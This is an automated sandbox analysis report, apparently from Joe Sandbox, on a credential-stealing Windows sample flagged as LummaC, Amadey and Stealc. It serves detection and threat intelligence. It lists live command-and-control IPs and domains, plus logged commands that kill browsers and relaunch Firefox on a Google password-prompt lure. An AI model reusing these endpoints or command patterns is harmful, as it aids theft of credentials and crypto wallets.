Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545100
MD5:	7f339d0252f408065abe57ac23eed91c
SHA1:	1f07e6f292500fd235ec540cb56045a3081efa6d
SHA256:	c94e84bee19b31c4663f8df36368ed87dd16e2021b5727a45c973ed8cf04dc0d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1880 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7F339D0252F408065ABE57AC23EED91C)

7YW0363WEKP7ULOI0QRA.exe (PID: 5132 cmdline: "C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe" MD5: 2C2EF4A8598A91D781960D9AE7D8CA86)

S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe (PID: 6408 cmdline: "C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe" MD5: B3D3107FAF89ED1B14EBA469E5F6442C)

skotes.exe (PID: 6264 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B3D3107FAF89ED1B14EBA469E5F6442C)

skotes.exe (PID: 3700 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B3D3107FAF89ED1B14EBA469E5F6442C)

58ce8f976c.exe (PID: 6068 cmdline: "C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe" MD5: 7F339D0252F408065ABE57AC23EED91C)

W7N881PI98FKFOKWDI7HCS7W.exe (PID: 2388 cmdline: "C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe" MD5: 2C2EF4A8598A91D781960D9AE7D8CA86)

DP4Z2JGIRNCYT3CKHONMY.exe (PID: 2612 cmdline: "C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe" MD5: B3D3107FAF89ED1B14EBA469E5F6442C)

7451ae0b11.exe (PID: 6196 cmdline: "C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe" MD5: 0D30EB6A4023A6DCE770CE3D6388CB9B)

760934cb92.exe (PID: 7144 cmdline: "C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe" MD5: 59B54224956FE92C6CF81FF78616CF7F)

taskkill.exe (PID: 7032 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6108 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5040 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5740 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3420 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6192 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 4824 cmdline: "C:\Users\user\AppData\Local\Temp\1002538001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

58ce8f976c.exe (PID: 504 cmdline: "C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe" MD5: 7F339D0252F408065ABE57AC23EED91C)

8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe (PID: 352 cmdline: "C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe" MD5: 2C2EF4A8598A91D781960D9AE7D8CA86)

ZVNI3QDRJUMHB5ZEQG5Z2C.exe (PID: 6284 cmdline: "C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe" MD5: B3D3107FAF89ED1B14EBA469E5F6442C)

firefox.exe (PID: 5264 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1812 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 368 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa78a0b3-bca7-4b7b-8021-d7d875974ef5} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e3b86f310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6832 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4172 -prefMapHandle 4168 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e2b9126-91e2-41af-b164-fbbe6f838f36} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e4cd8c210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

7451ae0b11.exe (PID: 2536 cmdline: "C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe" MD5: 0D30EB6A4023A6DCE770CE3D6388CB9B)

760934cb92.exe (PID: 7092 cmdline: "C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe" MD5: 59B54224956FE92C6CF81FF78616CF7F)

taskkill.exe (PID: 2744 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6728 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6104 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4100 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5372 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 2384 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2524 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 4080 cmdline: "C:\Users\user\AppData\Local\Temp\1002538001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["presticitpo.store", "fadehairucw.store", "thumbystriw.store", "crisiwarny.store", "founpiuer.store", "navygenerayk.store", "necklacedmny.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1002538001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1002538001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.2386839542.0000000005390000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.3207148284.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3135249068.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2960373733.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2465363519.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.3127862196.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000002.3249445453.00000000009F1000.00000040.00000001.01000000.0000001B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.3268929874.0000000000141000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2944432729.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2425000445.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3144922950.000000000163E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.3131133881.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.3001129617.0000000000141000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000000.3116653245.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2173743072.0000000001567000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2427095696.0000000000E11000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2911175052.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218579742.0000000001538000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000000.3280933460.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.3004186690.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2218352412.0000000001560000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.3274363852.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.2711130539.0000000004910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 1880	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 1880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1880	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 58ce8f976c.exe PID: 6068	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 58ce8f976c.exe PID: 6068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 58ce8f976c.exe PID: 6068	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7451ae0b11.exe PID: 6196	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7451ae0b11.exe PID: 6196	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 58ce8f976c.exe PID: 504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 58ce8f976c.exe PID: 504	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 760934cb92.exe PID: 7144	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author
32.2.num.exe.bf0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.e10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.0.num.exe.bf0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.0.num.exe.bf0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.7451ae0b11.exe.140000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.7451ae0b11.exe.140000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
33.2.DP4Z2JGIRNCYT3CKHONMY.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3700, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\58ce8f976c.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3700, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\58ce8f976c.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:07.956163+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-30T05:24:09.102101+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-30T05:24:19.878773+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49754	188.114.96.3	443	TCP
2024-10-30T05:25:20.159532+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49994	188.114.96.3	443	TCP
2024-10-30T05:25:21.304040+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49998	188.114.96.3	443	TCP
2024-10-30T05:25:33.287893+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50007	188.114.96.3	443	TCP
2024-10-30T05:25:35.332149+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50009	188.114.96.3	443	TCP
2024-10-30T05:25:36.732621+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50010	188.114.96.3	443	TCP
2024-10-30T05:25:53.446112+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50042	188.114.96.3	443	TCP
2024-10-30T05:26:11.060710+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50080	188.114.96.3	443	TCP
2024-10-30T05:26:12.456869+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50082	188.114.96.3	443	TCP
2024-10-30T05:26:19.888152+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50092	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:07.956163+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-30T05:25:20.159532+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49994	188.114.96.3	443	TCP
2024-10-30T05:25:35.332149+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50009	188.114.96.3	443	TCP
2024-10-30T05:26:11.060710+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50080	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:09.102101+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-30T05:25:21.304040+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49998	188.114.96.3	443	TCP
2024-10-30T05:25:36.732621+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50010	188.114.96.3	443	TCP
2024-10-30T05:26:12.456869+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50082	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:07.194258+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-30T05:24:08.620287+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-30T05:24:09.974405+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49712	188.114.96.3	443	TCP
2024-10-30T05:24:11.204088+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49713	188.114.96.3	443	TCP
2024-10-30T05:24:12.415408+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49715	188.114.96.3	443	TCP
2024-10-30T05:24:14.484758+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49721	188.114.96.3	443	TCP
2024-10-30T05:24:16.259718+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49732	188.114.96.3	443	TCP
2024-10-30T05:24:19.422640+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49754	188.114.96.3	443	TCP
2024-10-30T05:25:19.411928+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49994	188.114.96.3	443	TCP
2024-10-30T05:25:20.840085+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49998	188.114.96.3	443	TCP
2024-10-30T05:25:22.165898+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49999	188.114.96.3	443	TCP
2024-10-30T05:25:23.806994+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50000	188.114.96.3	443	TCP
2024-10-30T05:25:25.148683+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50001	188.114.96.3	443	TCP
2024-10-30T05:25:27.623630+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50002	188.114.96.3	443	TCP
2024-10-30T05:25:29.917365+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50004	188.114.96.3	443	TCP
2024-10-30T05:25:32.835779+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50007	188.114.96.3	443	TCP
2024-10-30T05:25:34.793788+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50009	188.114.96.3	443	TCP
2024-10-30T05:25:36.016995+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50010	188.114.96.3	443	TCP
2024-10-30T05:25:38.275915+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50013	188.114.96.3	443	TCP
2024-10-30T05:25:39.641815+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50016	188.114.96.3	443	TCP
2024-10-30T05:25:41.524627+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50021	188.114.96.3	443	TCP
2024-10-30T05:25:46.810774+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50031	188.114.96.3	443	TCP
2024-10-30T05:25:51.457362+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50040	188.114.96.3	443	TCP
2024-10-30T05:25:52.948175+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50042	188.114.96.3	443	TCP
2024-10-30T05:26:10.719182+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50080	188.114.96.3	443	TCP
2024-10-30T05:26:11.970053+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50082	188.114.96.3	443	TCP
2024-10-30T05:26:13.212032+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50083	188.114.96.3	443	TCP
2024-10-30T05:26:14.371114+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50086	188.114.96.3	443	TCP
2024-10-30T05:26:15.469780+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50087	188.114.96.3	443	TCP
